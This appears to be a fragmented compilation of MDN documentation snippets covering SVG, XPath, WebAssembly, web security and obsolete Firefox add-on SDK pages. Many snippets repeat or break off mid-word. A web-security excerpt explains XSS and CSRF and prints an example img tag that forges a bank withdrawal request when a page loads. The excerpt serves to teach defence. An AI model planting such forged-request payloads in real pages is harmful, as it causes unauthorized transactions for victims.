te. <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element. the syntax of this value is defined in the bcp 47 specification. the most co
mmon syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g. en-us for us english or de-at for austrian german. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification. candidate r...
...syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g. en-us for us english or de-at for austrian german. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification. ...
... specification status co
mment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification. candidate reco
mmendation made the lang attribute (without namespace) available on all elements and defined the interaction between both. scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:lang' in that specification. ...
xml:space - SVG: Scalable Vector Graphics
ve this value tells the user agent to convert all newline and tab characters into spaces. then, it draws all space characters (including leading, trailing and multiple consecutive space characters). for example, the string "a b" (three spaces between "a" and "b") separates "a" and "b" more than "a b" (one space between "a" and "b"). ...
...racters (including leading, trailing and multiple consecutive space characters). for example, the string "a b" (three spaces between "a" and "b") separates "a" and "b" more than "a b" (one space between "a" and "b"). ...
...etween "a" and "b"). specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'xml:space' in that specification. candidate reco
mmendation deprecates the attribute and suggests to use white-space instead. ...
z - SVG: Scalable Vector Graphics
umber> default value 1 animatable yes fespotlight for <fespotlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits attribute on the <filter> element. value <number> default value 1 animatable yes specifications specification status co
mment filter effects module level 1the definition of 'z for <fepointlight>' in that specification. working draft no change filter effects module level 1the definition of 'z for <fespotlight>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'z for <fepointlight>' in that specification. re...
...t filter effects module level 1the definition of 'z for <fepointlight>' in that specification. working draft no change filter effects module level 1the definition of 'z for <fespotlight>' in that specification. ...
...finition of 'z for <fespotlight>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'z for <fepointlight>' in that specification. ...
<symbol> - SVG: Scalable Vector Graphics
>, <script>, <style>, <switch>, <text>, <view> note: a <symbol> element itself is not meant to be rendered. only instances of a <symbol> element (i.e., a reference to a <symbol> by a <use> element) are rendered. that means that some browsers could refuse to directly display a <symbol> element even if the css display property tells otherwise. ...
...ces of a <symbol> element (i.e., a reference to a <symbol> by a <use> element) are rendered. that means that some browsers could refuse to directly display a <symbol> element even if the css display property tells otherwise. ...
...s display property tells otherwise. specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<symbol>' in that specification. ...
Basic shapes - SVG: Scalable Vector Graphics
circle> element draws a circle on the screen. it takes 3 basic parameters to determine the shape and size of the element. <circle cx="25" cy="75" r="20"/> r the radius of the circle. cx the x position of the center of the circle. cy the y position of the center of the circle. ellipse an <ellipse> is a more general form of the <circle> element, where you can scale the x and y radius (co
mmonly refferred to as the semimajor and semiminor axes in maths) of the circle separately. <ellipse cx="75" cy="75" rx="20" ry="5"/> rx the x radius of the ellipse. ry the y radius of the ellipse. cx the x position of the center of the ellipse. cy the y position of the center of the ellipse. line the <line> element takes the positions of two points as parameters and draws a straight l...
... point 1. x2 the x position of point 2. y2 the y position of point 2. polyline a <polyline> is a group of connected straight lines. since the list of points can get quite long, all the points are included in one attribute: <polyline points="60, 110 65, 120 70, 115 75, 130 80, 125 85, 140 90, 135 95, 150 100, 145"/> points a list of points. each number must be separated by a space, co
mma, eol, or a line feed character. each point must contain two numbers: an x coordinate and a y coordinate. so, the list (0,0), (1,1), and (2,2) would be written as 0, 0 1, 1 2, 2. polygon a <polygon> is similar to a <polyline>, in that it is composed of straight line segments connecting a list of points. for polygons though, the path automatically connects the last point with the first, creat...
...he path automatically connects the last point with the first, creating a closed shape. note: a rectangle is a type of polygon, so a polygon can be used to create a <rect/> element in cases where you need a little more flexibility. <polygon points="50, 160 55, 180 70, 180 60, 190 65, 205 50, 195 35, 205 40, 190 30, 180 45, 180"/> points a list of points, each number separated by a space, co
mma, eol, or a line feed character. each point must contain two numbers: an x coordinate and a y coordinate. so, the list (0,0), (1,1), and (2,2) would be written as 0, 0 1, 1 2, 2. the drawing then closes the path, so a final straight line would be drawn from (2,2) to (0,0). path a <path> is the most general shape that can be used in svg. using a path element, you can draw rectangles (with or wi...
Fills and Strokes - SVG: Scalable Vector Graphics
the first number specifies a distance for the filled area, and the second a distance for the unfilled area. so in the above example, the second path fills 5 pixel units, with 5 blank units until the next dash of 5 units. you can specify more numbers if you would like a mor...
...1"> <path d="m 10 75 q 50 10 100 75 t 190 75" stroke="black" stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/> <path d="m 10 75 l 190 75" stroke="red" stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg> the stroke-dasharray attribute takes a series of co
mma-separated numbers as its argument. note: unlike <path>s, these numbers must be co
mma-separated (whitespace is ignored). the first number specifies a distance for the filled area, and the second a distance for the unfilled area. so in the above example, the second path fills 5 pixel units, with 5 blank units until the next dash of 5 units. you can specify more numbers if you would like a more complicated dash pattern. the first example specifies three numbers, in which case the...
...e. using css in addition to setting attributes on objects, you can also use css to style fills and strokes. not all attributes can be set via css. attributes that deal with painting and filling are usually available, so fill, stroke, stroke-dasharray, etc... can all be set this way, in addition to the gradient and pattern versions of those shown below. attributes like width, height, or <path> co
mmands cannot be set through css. it's easiest just to test and find out what is available and what isn't. note: the svg specification decides strictly between attributes that are properties and other attributes. the former can be modified with css, the latter not. css can be inserted inline with the element via the style attribute: <rect x="10" height="180" y="10" width="180" style="stroke: bla...
Introduction - SVG: Scalable Vector Graphics
the case shown here since xml is case-sensitive (unlike html). attribute values in svg must be placed inside quotes, even if they are numbers. svg is a huge specification. this tutorial attempts to cover the basics. once you are familiar you should be able to use the element reference and the interface reference to find out anything else you need to know. flavors of svg since becoming a reco
mmendation in 2003, the most recent "full" svg version is 1.1. it builds on top of svg 1.0, but adds more modularization to ease implementation. the second edition of svg 1.1 became a reco
mmendation in 2011. "full" svg 1.2 was meant to be the next major release of svg. it was dropped for the upcoming svg 2.0, which is under heavy development right now and follows a similar approach to css 3 in that ...
...these two profiles are aimed mainly at mobile devices. the first, svg tiny, should yield graphics primitives for small devices with low capabilities. ...
...the working group at the w3c introduced svg tiny and svg basic in 2003. these two profiles are aimed mainly at mobile devices. the first, svg tiny, should yield graphics primitives for small devices with low capabilities. svg basic offers many features of full svg, but doesn't include the ones which are hard to implement or heavy to render (like animations). in 2008, svg tiny 1.2 became a w3c reco
mmendation. there were plans for an svg print specification, which would add support for multiple pages and enhanced color management. this work was discontinued. « previousnext » ...
Types of attacks - Web security
he term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most co
mmon web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. cross-site scripting attacks usually occur when 1) d...
...ite scripting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic content is sent to a web user without being validated for malicious content. the malicious content often includes javascript, but sometimes html, flash, or any other code the browser can execute. the variety of attacks based on xss is almost limitless, but they co
mmonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. xss attacks can be put into three categories: stored (also called persistent), reflected (also called non-persistent), or dom-based. ...
...a request to your bank’s server to withdraw money: <img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the html that contains this image. ...
Web security
nd robustly. applications that use tls can choose their security parameters, which can have a substantial impact on the security and reliability of data. this article provides an overview of tls and the kinds of decisions you need to make when securing your content. https https (hypertext transfer protocol secure) is an encrypted version of the http protocol. it uses ssl or tls to encrypt all co
mmunication between a client and a server. this secure connection allows clients to be sure that they are connected with the intended server, and to exchange sensitive data. http strict-transport-security the strict-transport-security: http header lets a website specify that it may only be accessed using https. certificate transparency certificate transparency is an open framework designed to pr...
...s don't load, etc.). passive mixed content is displayed by default, but users can set a preference to block this type of content, as well. this page explains what you should be aware of as a web developer. secure contexts a secure context is a window or worker for which there is reasonable confidence that the content has been delivered securely (via https/tls), and for which the potential for co
mmunication with contexts that are not secure is limited. many web apis and features are accessible only in a secure context. the primary goal of secure contexts is to prevent man-in-the-middle attackers from accessing powerful apis that could further compromise the victim of an attack. features restricted to secure contexts this reference lists the web platform features available only in secure c...
... decryption digital certificate dtls encryption forbidden header name forbidden response header name hash hmac hpkp hsts https key mitm owasp preflight request public-key cryptography reporting directive robots.txt same-origin policy session hijacking sql injection sy
mmetric-key cryptography tofu tls ...
Index - XPath
found 57 pages: # page tags and su
mmary 1 xpath css selectors, dom, jxon, landing, path, xml, xpath, xslt xpath stands for xml path language. it uses a non-xml syntax to provide a flexible way of addressing (pointing to) different parts of an xml document. it can also be used to test addressed nodes within a document to determine whether they match a pattern or not. 2 axes transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_reference for further information on using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document. also see the 'axes' section in the xpath spec. ...
...ocument to determine whether they match a pattern or not. 2 axes transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_reference for further information on using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document. also see the 'axes' section in the xpath spec. 3 ancestor axe, xpath no su
mmary! 4 ancestor-or-self axe, xpath the ancestor-or-self axis indicates the context node and all of its ancestors, including the root node. 5 attribute axe, xpath the attribute axis indicates the attributes of the context node. only elements have attributes. this axis can be abbreviated with the at sign (@). 6 child axe, xpath the child...
... period (.). 16 comparison of css selectors and xpath css, draft, needscontent, reference, selectors, xpath this article seeks to document the difference between css selectors and xpath for web developers to be able to better choose the right tool for the right job. 17 functions transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_reference no su
mmary! 18 boolean xslt, xslt_reference the boolean function evaluates an expression and returns true or false. 19 ceiling xslt, xslt_reference the ceiling function evaluates a decimal number and returns the smallest integer greater than or equal to the decimal number. 20 choose function, xpath, xslt the choose function returns one of...
WebAssembly Concepts - WebAssembly
t. webassembly modules can be imported into a web (or node.js) app, exposing webassembly functions for use via javascript. javascript frameworks could make use of webassembly to confer massive performance advantages and new features while still making functionality easily available to web developers. webassembly goals webassembly is being created as an open standard inside the w3c webassembly co
mmunity group with the following goals: be fast, efficient, and portable — webassembly code can be executed at near-native speed across different platforms by taking advantage of co
mmon hardware capabilities. be readable and debuggable — webassembly is a low-level assembly language, but it does have a human-readable text format (the specification for which is still being finalized) that allo...
...es of code — javascript and webassembly. the different code types can call each other as required — the webassembly javascript api wraps exported webassembly code with javascript functions that can be called normally, and webassembly code can import and synchronously call normal javascript functions. in fact, the basic unit of webassembly code is called a module and webassembly modules are sy
mmetric in many ways to es2015 modules. webassembly key concepts there are several key concepts needed to understand how webassembly runs in the browser. all of these concepts are reflected 1:1 in the webassembly javascript api. module: represents a webassembly binary that has been compiled by the browser into executable machine code. a module is stateless and thus, like a blob, can be explicit...
...hat in a sample web app, over at our compiling from rust to webassembly article. using assemblyscript for web developers who want to try webassembly without needing to learn the details of c or rust, assemblyscript will be the best option. it generates a small bundle and it's performance is slightly slower compared to c or rust. you can check its documentation on https://assemblyscript.org/. su
mmary this article has given you an explanation of what webassembly is, why it is so useful, how it fits into the web, and how you can make use of it. ...
SDK API Lifecycle - Archive of obsolete content
to change this module, and backwards compatibility should not be expected. don’t start using it, and plan to migrate away from this module to its replacement. the stability index for each module is written into that module’s metadata structure, and is displayed at the top of each module's documentation page. deprecation process deprecation in the chosen release, the sdk team will co
mmunicate the module's deprecation: update the module's stability index to be "deprecated" include a deprecation notice in the release notes, the add-ons blog, and the jetpack google group. the deprecation notice should point developers at a migration guide. migration the deprecation period defaults to 18 weeks (that is, three releases) although in some cases, generally those out of our contr...
...et removal date is 18 weeks after deprecation. in preparation for this date the sdk team will decide whether to go ahead with removal: this will depend on how many developers have successfully migrated from the deprecated module, and on how urgently the module needs to be removed. if it's ok to remove the module, it will be removed. the sdk team will remove the corresponding documentation, and co
mmunicate the removal in the usual ways: the release notes, the add-ons blog, and the jetpack google group. if it's not ok to remove it, the team will continue to support migration and aim to remove the module in the next release. ...
SDK and XUL Comparison - Archive of obsolete content
compatibility although we can't promise we'll never break a high-level api, maintaining compatibility across firefox versions is a top priority for us. we've designed the apis to be forward-compatible with the new multiple process architecture (codenamed electrolysis) planned for firefox. ...
...party modules that's not the whole story. if you need more flexibility than the sdk's high-level apis provide, you can use its low-level apis to load xpcom objects directly or to manipulate the dom directly as in a traditional bootstrapped extension. alternatively, you can load third-party modules, which extend the sdk's core apis. note that by doing this you lose some of the benefits of progra
mming with the sdk including simplicity, compatibility, and to a lesser extent security. ...
Working with Events - Archive of obsolete content
in this case one end of the conversation emits the events, and the other end listens to them. ...
...ndows opening, pages loading, network requests completing, and mouse clicks. by registering a listener function to an event emitter an add-on can receive notifications of these events. we talk about content scripts in more detail in the working with content scripts guide. additionally, if you're using content scripts to interact with web content, you can define your own events and use them to co
mmunicate between the main add-on code and the content scripts. in this case one end of the conversation emits the events, and the other end listens to them. so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks sending and receiving user-defined events b...
Guides - Archive of obsolete content
this page lists more theoretical in-depth articles about the sdk. contributor's guide getting started learn how to contribute to the sdk: getting the code, opening/taking a bug, filing a patch, getting reviews, and getting help. modules learn about the module system used by the sdk (which is based on the co
mmonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish. classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this. private properties learn how private properties can be implemented in javascript using prefixes, closures, and weakmaps, and how...
... to define your own. firefox compatibility working out which firefox releases a given sdk release is compatible with, and dealing with compatibility problems. sdk idioms working with events write event-driven code using the the sdk's event emitting framework. content scripts guide an overview of content scripts, including: what they are, what they can do, how to load them, how to co
mmunicate with them. two types of scripts this article explains the differences between the apis available to your main add-on code and those available to content scripts. xul migration xul migration guide techniques to help port a xul add-on to the sdk. xul versus the sdk a comparison of the strengths and weaknesses of the sdk, compared to traditional xul-based add-ons. po...
hotkeys - Archive of obsolete content
"sdk/hotkeys"); var showhotkey = hotkey({ combo: "accel-shift-o", onpress: function() { showmypanel(); } }); var hidehotkey = hotkey({ combo: "accel-alt-shift-o", onpress: function() { hidemypanel(); } }); choosing hotkeys hotkeys should be chosen with care. it's very easy to use combinations that clash with hotkeys defined for firefox or for other add-ons. the following co
mmonly used hotkey combinations will not pass amo review: accel-z, accel-c, accel-x, accel-v or accel-q if you choose to use a key combination that's already defined, choose one which makes sense for the operation it will perform. for example, accel-s is typically used to save a file, but if you use it for something completely different, then it would be extremely confusing for users. no matter ...
...least one modifier as well as the key. these are the possible modifiers you can supply: shift: the shift key. alt: the alt key. on the macintosh, this is the option key. on macintosh this can only be used in conjunction with another modifier, since alt-letter combinations are reserved for entering special characters in text. meta: the meta key. on the macintosh, this is the co
mmand key. control: the control key. accel: the key used for keyboard shortcuts on the user's platform, which is control on windows and linux, and co
mmand on mac. usually, this would be the value you would use. pageup: the page up key. pagedown: the page down key. onpress function function that is invoked when the key combination hotkey is pressed. ...
self - Archive of obsolete content
globals properties uri this property represents an add-on associated unique uri string. this uri can be used for apis which require a valid uri string, such as the passwords module. id this property is a printable string that is unique for each add-on. ...
... describing the reason your add-on was loaded: install enable startup upgrade downgrade isprivatebrowsingsupported this property indicates whether or not the add-on supports private browsing. it comes from the private-browsing key in the add-on's package.json file. data the data object is used to access data that was bundled with the add-on. this data lives in the add-on's data/ directory, i
mmediately below the package.json file. all files in this directory will be copied into the xpi and made available through the data object. the package specification article explains the package.json file. methods data.load(name) the data.load() method returns the contents of an embedded data file, as a string. it is most useful for data that will be modified or parsed in some way, such as json,...
simple-storage - Archive of obsolete content
u may also need to include the --no-copy option to prevent firefox from copying the profile to a temporarry directory each time it starts. jpm run --no-copy --profile path/to/profile/dir if you specify a non-existent profile, the same will be created, don't worry. ...
...: if you use this method, you must end your debugging session by quitting firefox normally, not by cancelling the shell co
mmand. if you don't close firefox normally, then simple storage will not be notified that the session is finished, and will not write your data to the backing store. accessing storage from the console in the add-on debugger, you can access your add-on's simple-storage progra
mmatically from the console using the following: loader.modules['resource://gre/modules/co
mmonjs/sdk/simple-storage.js'].exports.storage clarification from mozilla needed: writing the above line in add-on debugger console results in "referenceerror: loader is not defined". constructing arrays be careful to construct array objects conditionally in your code, or you may zero them each time the c...
ui - Archive of obsolete content
les you to create an html iframe, using bundled html, css and javascript. this can then be added to a designated area of the firefox user interface. at the moment you can only add frames to a toolbar. you initialize a frame with a url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascript files, and your main add-on can co
mmunicate with a frame script using message passing. once you've created a frame you need to add it to a toolbar. toolbar the ability to add buttons to toolbars is new in firefox 30. in firefox 29 you can only add frames to toolbars. a toolbar gives you a horizontal strip of space which you can use for presenting a more complex user interface. you initialize a toolbar with an array of buttons a...
...yer", items: [previous, next, play, frame] }); the toolbar appears just above the content window: sidebar a sidebar gives you a vertical strip of space for presenting complex user interfaces. you initialize a sidebar with a url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascript files, and your main add-on can co
mmunicate with a frame script using message passing. var ui = require("sdk/ui"); var sidebar = ui.sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); it appears on the left of the content window: ...
content/symbiont - Archive of obsolete content
ymbiont. parameters options : object optional options: name type frame object the host application frame in which the page is loaded. if frame is not provided hidden one will be created. contentscriptwhen string when to load the content scripts. ...
...ent scripts specified by this property are loaded before those specified by the contentscript property. contentscript the texts of content scripts to load. content scripts specified by this property are loaded after those specified by the contentscriptfile property. contentscriptwhen when to load the content scripts. ...
content/worker - Archive of obsolete content
ace defined by the w3c. but unlike "web workers," these workers run in the same process as web content and browser chrome, so code within workers can block the ui. globals constructors worker(options) creates a content worker. parameters options : object required options: name type window object the content window to create javascript sandbox for co
mmunication with. optional options: name type contentscriptfile string,array the local file urls of content scripts to load. content scripts specified by this option are loaded before those specified by the contentscript option. optional. contentscript string,array the texts of content scripts to load. content scripts speci...
...rializable value. error this event allows the content worker to react to an uncaught runtime script error that occurs in one of the content scripts. arguments error : the event listener is passed a single argument which is an error object. detach this event is emitted when the document associated with this worker is unloaded or the worker's destroy() method is called. note that you can't co
mmunicate with the content script in response to this event. if you try, you'll see this error: error: couldn't find the worker to receive this message. the script may not be initialized yet, or may already have been unloaded you can handle the detach event in the content script itself though: // in content script self.port.on("detach", function() { window.close(); }); ...
console - Archive of obsolete content
if the add-on has been installed in firefox, then the messages appear in the browser console. if you're developing your add-on using the extension auto-installer, then the add-on is installed in firefox, meaning that messages will appear in the browser console. but see the discussion of logging levels: by default, messages logged using log(), info(), trace(), or warn() won't be logged in these situations. ...
...efault: extensions.sdk.console.loglevel: if set, this determines the logging level for all installed sdk-based add-ons. extensions.extensionid.sdk.console.loglevel, where extensionid is an add-on's program id. if set, this determines the logging level for the specified add-on. this overrides the global preference if both preferences are set. both these preferences can be set progra
mmatically using the preferences/service api, or manually using about:config. the value for each preference is the desired logging level, given as a string. when you run your add-on using jpm run (without --profile set) or jpm test, the global extensions.sdk.console.loglevel preference is automatically set to "info". this means that calls to console.log() will appear in the console output. when yo...
Listening for Load and Unload - Archive of obsolete content
ping it in a function assigned to exports.main(). it will be loaded in the same circumstances, but you won't get access to the load/unload reason or arguments. exports.main() your add-on's main.js code is executed as soon as it is loaded. it is loaded when it is installed, when it is enabled, or when firefox starts. if your add-on exports a function called main(), that function will be called i
mmediately after the overall main.js is evaluated, and after all top-level require() statements have run (so generally after all dependent modules have been loaded). exports.main = function (options, callbacks) {}; options is an object describing the parameters with which your add-on was loaded. options.loadreason options.loadreason is one of the following strings describing the reason your ...
... ...
Logging - Archive of obsolete content
anything to get access to the console. it is automatically made available to you. the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the co
mmand window you used to execute jpm run: info: hello world! console in content scripts you can use the console in content scripts as well as in your main add-on code. the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content script: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscript: "console.log(document.bod...
...pts you can use the console in content scripts as well as in your main add-on code. the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content script: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscript: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the co
mmand line (for example, executing jpm run or jpm test) then the console's messages appear in the co
mmand shell you used. if you've installed the add-on in firefox then the messages appear in firefox's browser console. but note that by default, calls to console.log() will not result in any output in the error console for any installed add-ons: this includes add-ons installed using the add-on build...
Tutorials - Archive of obsolete content
getting started walkthrough of creating a simple add-on with the sdk, using jpm. create user interfaces add a toolbar button attach a button to the firefox add-on toolbar. ...
...and running unit tests using the sdk's test framework. chrome authority get access to the components object, enabling your add-on to load and use any xpcom object. creating event targets enable the objects you define to emit their own events. listen for load and unload get notifications when your add-on is loaded or unloaded by firefox, and pass arguments into your add-on from the co
mmand line. using third-party modules (jpm) install and use additional modules which don't ship with the sdk itself. localization writing localizable code. mobile development develop add-ons for firefox mobile on android. add-on debugger debug your add-on's javascript. putting it together annotator add-on a walkthrough of a relatively complex add-on. ...
Bookmarks - Archive of obsolete content
; // index in the folder firefox 3 firefox 3 provides a reworked set of api for working with history and bookmarks. the documentation for the new api is available at places. the places bookmarks service, provided by the nsinavbookmarksservice interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. this article offers examples for how to perform co
mmon bookmark management tasks using the bookmarks service. initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder c...
...r var myext_bookmarklistener = { onbeginupdatebatch: function() {}, onendupdatebatch: function() {}, onitemadded: function(aitemid, afolder, aindex) {}, onitemremoved: function(aitemid, afolder, aindex) {}, onitemchanged: function(abookmarkid, aproperty, aisannotationproperty, avalue) { myextension.dosomething(); }, onitemvisited: function(abookmarkid, avisitid, time) {}, onite
mmoved: function(aitemid, aoldparent, aoldindex, anewparent, anewindex) {}, queryinterface: xpcomutils.generateqi([components.interfaces.nsinavbookmarkobserver]) }; // an extension var myextension = { // this function is called when my add-on is loaded onload: function() { bmsvc.addobserver(myext_bookmarklistener, false); }, // this function is called when my add-on is unloaded onunl...
HTML to DOM - Archive of obsolete content
see using a hidden iframe element to parse html to a window's dom below. parsing complete html to dom loading an html document seems much simpler if it's loaded using the xmlhttprequest object. ...
...n even evaluate xpath expressions. in the example, we dump() to the console the page's url and the text contained in the first h1 tag of the page's <body>. but, we still need to see how to execute the famous loaduri() method using our iframe: donkeybrowser.webnavigation.loaduri("http://developer.mozilla.org", components.interfaces.nsiwebnavigation, null, null, null); also, i reco
mmend you take a look at the nsiwebnavigation interface. ...
Inline options - Archive of obsolete content
so like for the type="file", once a user browses and picks a file, when it updates the label it will trigge...
...so like for the type="file", once a user browses and picks a file, when it updates the label it will trigger the oninputchanged attribute. so if you would like to do some changes to the xul on the inline options pa...
Install Manifests - Archive of obsolete content
/em:updatekey> updateurl a link to a custom update manifest file that specifies available updates to the add-on. the format is described below. if enabled, the add-on manager periodically checks with this manifest file to determine if newer versions are available. when not included, the add-on manager will still check for updates on amo, using the id of the extension. note: it is strongly reco
mmended that the updateurl be an https (secure) link. non-secure update urls can be hijacked by a malicious update.rdf file, enabling malware to infiltrate the user's computer. alternatively, you could host your extension on amo and leave out the updateurl completely. this provides secure updates automatically. for security reasons, gecko 1.9 applications require that if you specify an updateurl, ...
...ly, such as using php or cgi: %req_version% the version of the request. currently 1 %item_id% the id of the add-on being updated %item_version% the version of the add-on being updated %item_maxappversion% the maxversion of the targetapplication object corresponding to the current application for the add-on being updated. %item_status% co
mma separated list of the add-ons operating status in the application. contains at the least either userenabled or userdisabled plus any number of incompatible, blocklisted or softblocked. %app_id% the id of the current application %app_version% the version of the application to check for updates for %current_app_version% the version of the current application ...
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
shimoda-san is a co-author of firefox 3 hacks (o'reilly japan, 2008). before we dive into a thorough explanation, we'll quickly introduce the technologies used to develop firefox extensions. we will also look at the minimum knowledge you'll need to have in order to develop for firefox. ...
...ade web pages less useful to users, the language acquired a reputation as having little practical use and lacking in functionality. also, because a series of security holes were discovered in javascript and the compatible technology jscript, there was an initial reluctance to use javascript at all. nevertheless, the rise of web services like google maps, which used javascript and asynchronous co
mmunications, created an awareness of a set of technologies nicknamed ajax (asynchronous javascript and xml); that plus the advent of a number of libraries that paper over implementation differences between different web browsers has more recently led to a re-evaluation of javascript as a progra
mming language. javascript is a prototype-based object-oriented language, and as shown in listing 3, also...
Appendix A: Add-on Performance - Archive of obsolete content
page load, and having inefficient code in the event handlers can cause a noticeable delay that users may have hard time figuring out. look at the source samples in the article and notice how they mostly consist of nested if statements. this is what you should do first to make sure that you filter out all cases that don't interest you so that your add-on doesn't slow down other requests. a very co
mmon filter is the url of the page, since most add-ons are limited to one or a few domains. use regular expressions if you need to. make sure your comparison code is as efficient as possible. finally, make sure all of your page load code is as efficient as possible. this can be tricky for some add-ons, like ad or script blockers that need to check a whitelist or blacklist. nevertheless, loading pag...
... if you need to. make sure your comparison code is as efficient as possible. finally, make sure all of your page load code is as efficient as possible. this can be tricky for some add-ons, like ad or script blockers that need to check a whitelist or blacklist. nevertheless, loading pages is pretty important in firefox, and users expect it to be fast. try your best to keep it that way. other reco
mmendations always clean up after yourself. event listeners, observers and other handlers normally have both an add and a remove function. don't forget to remove what you don't need anymore! even if you need something during the whole existence of the window, you should clean everything up in the unload event handler. even the unload event should be handled efficiently. even if it is not as impo...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
it can be used to write or copy necessary files to the profile folder, like the initial db the add-on will use for storage. a few others require cleanup code to be run after the add-on is uninstalled. this appendix covers these cases with simple code that should work for most add-ons. ...
...uld be best to use a string preference with the last-installed add-on version. and then do a version comparison to decide which code to run. the current version number can be hard-coded in the first run function, or you can use the add-on manager to dynamically get it. this can get tricky with the firefox 4 addonmanager, so it's probably best to keep it simple. uninstall scripts there are two co
mmon cases for needing these: cleaning up local data and presenting an uninstall feedback form. regarding local data, it is debatable if it is good practice to remove it or not. if an add-on is uninstalled and later installed again, it might be desirable for preferences and other settings to be kept. another argument in favor of keeping that data is that firefox doesn't delete its profile folders af...
Extensions support in SeaMonkey 2 - Archive of obsolete content
url in firefox url in seamonkey overlays chrome://browser/content/browser.xul chrome://navigator/content/navigator.xul main browser window chrome://browser/content/pageinfo/pageinfo.xul chrome://navigator/content/pageinfo/pageinfo.xul page info window chrome://browser/content/preferences/permissions.xul chrome://co
mmunicator/content/permis...onsmanager.xul permissions manager dialog urls added in 2.1 url in firefox url in seamonkey chrome://browser/content/bookmarks/bookmarkspanel.xul chrome://co
mmunicator/content/bookmarks/bm-panel.xul chrome://browser/content/places/places.xul chrome://co
mmunicator/content/bookma...rksman...
...ods: selectedcount selectedmessage selectedmessageisfeed selectedmessageisimap selectedmessageisnews selectedmessageisexternal selectedindices selectedmessages selectedmessageuris messagedisplay gmessagedisplay api seamonkey 2.0 only supports a reduced set of methods: displayedmessage visible javascript tweaks firefox supports some shorthand in various places. these are so co
mmonly available that developers often forget that they are not built-ins. seamonkey on the other hand defaults to not support them so they either need to be expanded to their proper forms or matching constants/variables need to be defined in custom code. shorthand expansion cc components.classes ci components.interfaces cr components.results ...
Using Dependent Libraries In Extension Components - Archive of obsolete content
we don't care about that either. } library->set...
...components, and we want to find // <extensiondir>/libraries nscomptr<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("du
mmy")); nscstring path; // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); rv = library->getnativepath(path); if (ns_failed(rv)) return rv; //at this point, we would have used prlibrary *lib; library->load(&lib); //but we can't use tha...
Using the Stylesheet Service - Archive of obsolete content
o xul documents. registered style sheets are not remembered across restarts. loadandregistersheet fails if css contains #id. '#' must be percent-encoded, details see bug 659650. historical information nsistylesheetservice was introduced in firefox 1.5. in firefox 1.5 and 2, adding and removing such style sheets takes effect upon the next load of a page. in firefox 3, the changes take effect i
mmediately, though some declarations (especially those affecting xul) won't work until a reload. backwards compatibility you can check for the availability and the functionality of the stylesheet service: if("@mozilla.org/content/style-sheet-service;1" in components.classes) { if(components.id('{41d979dc-ea03-4235-86ff-1e3c090c5630}') .equals(components.interfaces.nsistylesheetse...
... if("@mozilla.org/content/style-sheet-service;1" in components.classes) { if(components.id('{41d979dc-ea03-4235-86ff-1e3c090c5630}') .equals(components.interfaces.nsistylesheetservice)) { // stylesheet service is available, but changes won't apply until reload // (firefox 1.5 and 2 behaviour) } else { // stylesheet service is available and changes will apply i
